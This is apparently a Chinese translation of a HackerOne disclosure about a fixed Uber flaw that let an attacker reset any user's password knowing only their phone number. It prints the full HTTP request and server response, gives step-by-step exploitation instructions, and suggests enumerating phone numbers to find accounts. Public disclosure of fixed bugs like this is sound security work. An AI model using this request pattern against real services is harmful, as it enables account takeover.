漏洞利用细节:改变任意用户的Uber密码

看点 作者:HackerEye 2016-07-15 03:46:00 阅读:602
漏洞状态:已解决(关闭) 披露时间:2016年7月15日 凌晨5点38分 报告对象:Uber 漏洞类型:身份验证类 奖金:10000$ Uber 漏洞概述: Uber是一款全球即时用车软件,该软件现已覆盖了全球六十多个国家和三百多个城市。而Uber的主要目的就是为大家提供更安全、更舒适的出行方式,并改善城市交通。 安全研究专家发现,通过Uber终端设备中的/rt/users/passwordless-signup,攻击者只需要知道目标Uber用户的手机号码,即可修改这名目标用户的Uber账号密码。但实际上,攻击者也可以不断枚举出手机号码,直到生成出注册了Uber账号的手机号。 目前,安全研究专家已经在Uber的乘客端进行了漏洞测试,并且发现这一漏洞很可能同样适用于Uber的司机端和其他用户角色。 请求/响应: 下面给出的是客户端的网络请求数据(用户具体的手机号已用xxxx代替):
POST /rt/users/passwordless-signup HTTP/1.1
Host: cn-geo1.uber.com
User-Agent: client/iphone/2.137.1
Connection: close
Content-Type: application/json
Content-Length: 197
{"phoneNumberE164":"+xxxxxxxx","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}
网络请求所对应的服务器响应信息如下:
{"phoneNumberE164":"+xxxxxxxx","serverState":"SUCCEEDED","serverStateData":{"nextState":"SIGN_IN"},"tripVerifyStateData":{},"userMessage":"New password has been created. Please login with the new Password.","userRole":"client","userWorkflow":"PASSWORDLESS_SIGNUP"}
漏洞利用过程: 首先,我们需要创建一个新的Uber乘客账号。在实验的过程中,安全研究人员使用的是iOS端的应用程序,但是这一漏洞并不受应用程序平台的影响。 注册成功之后,将上面的网络请求再次发送给Uber的服务器,但是需要在发送之前将“phoneNumberE164”的值修改为绑定账户的手机号码(手机号码需要包含国家号码前缀,并以“+”开头。例如美国手机号的前缀码为+1xxx)。在某些情况下,你可能需要重复发送两次这样的网络请求,否则你可能无法接收到服务器端发回的响应信息。最终,我们将会接收到一条内容为“新密码已被创建”的提示信息,这也就意味着,我们已经成功更新了目标账户的登录密码。而目标账号的新密码就是请求中“newPassword”域的值。 这样一来,我们就可以在http://riders.uber.com/或者其他地方使用新密码来登录这个账号了。 在此之前,Uber一直都是黑客经常会选择的攻击目标。早在2014年,Uber公司就发生过严重的数据泄漏。在此次事件中,大约有五万名Uber出租车司机的姓名和驾驶执照信息被窃取了。此外,在2016年上半年,Uber平台下的大量账号信息竟然出现在了暗网市场中,大量用户信息发生了泄漏。为此,Uber公司的技术人员真的应该好好检查一下他们的产品安全性了。 本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。 原文链接:https://hackerone.com/reports/143717

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接